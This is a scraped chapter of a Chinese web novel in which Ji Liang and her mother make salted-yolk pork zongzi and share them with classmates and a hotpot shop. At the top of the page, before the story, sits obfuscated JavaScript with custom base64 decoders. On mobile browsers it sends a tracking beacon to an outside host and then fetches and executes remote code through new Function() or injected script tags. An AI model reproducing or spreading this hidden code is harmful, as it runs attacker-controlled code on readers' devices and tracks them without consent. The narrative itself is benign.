第208章(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
季凉依稀记得这好像是东北名小吃,不过叫什么她不记得了。只记得这个消耗蛋清的绝佳做法。
之后就是包粽子了。
季凉亲自上手腌五花肉,泡糯米和各种豆子,季女士让她抽空歇歇,她只笑着说:“娘,这就是我放松的办法了。做这些的时候,我脑子里什么都不想,比躺在床上满脑子都是题目还放松呢!”
季女士听她这么说,只能作罢,给女儿打下手。
肉粽的糯米也是需要提前腌制的,不然味道不均匀,吃起来就会不够浓香。
等所有的东西准备,季凉晚自习回来,母女两个一起忙了一个多小时,就包好了两大盆的粽子。
一盆咸的,一盆甜的。
然后分两锅煮,煮开之后就把下面的火口堵上,用小火整夜咕嘟着,第二天早上起来捞出来两个吃,简直再美味不过了。
五花肉被煮得油脂都分散在了粽子的糯米里,吃起来满口香,瘦肉也丝丝分明,仿佛入口即化一般。咸蛋黄的香更是给美味多增添了一种层次感。
“要是用咸鸭蛋就更完美了。”不过那个蛋清是真的都浪费了,季女士估计得心疼死。
季凉这么想着,冲季女士笑了笑。
季女士正在小心翼翼尝试肉粽,尝了两口之后发现这个味道还是可以接受的,母女之间没有爆发甜咸之争。
粽子做了好多,季凉上学的时候还给张红霞和后桌沈杰的同桌带了几个粽子。他们两个都是住校的学生,端午节不放假,不一定能吃到家里做的粽子。
不过食堂应该会做吧?
季凉带来的粽子受到了热烈的欢迎,特别是肉粽。
虽然本地人绝大多数还没吃过肉粽,可那毕竟是肉啊!还小火咕嘟了一晚上,肉汁已经被糯米吸收得干干净净。
一口下去,满嘴都是肉香。
沈杰是在家住的,季凉就没专门给他带粽子。现在还不是端午节,他家的粽子也没来得及做呢。他眼巴巴看着同桌吃粽子,想了想,偷偷戳了他一下,暗中达成一个换三个的交易,这才吃到了季凉做的粽子。
味道是真的好,沈杰觉得自己赚了。他妈肯定做不出来这么好吃的肉粽!
因为粽子做得多,季女士干脆跟正巧回来拿火锅底料的林薇雪分了一批,让她带去火锅店里给店员分分,毕竟是过节嘛。
季女士在对待自己人上面,是半点不小气的。
林薇雪提了两大袋子的粽子,还有一背包的火锅底料辛辛苦苦坐车回了市区。她饿得前胸,也不加热,直接打开一个吃了起来。
粽子解开外面粽叶的时候,香气就开始萦绕在林薇雪的鼻尖,然后慢慢散开了。
她坐在柜台后面吃到一半就有服务员凑过来问:“林姐,你吃的这是什么啊,怪香的。”
林薇雪咽下嘴里的肉,笑着道:“你们季姐做的咸蛋黄肉粽!”她原本还想着这鲜肉粽子就给员工吃好了,咸的肯定味道怪怪的。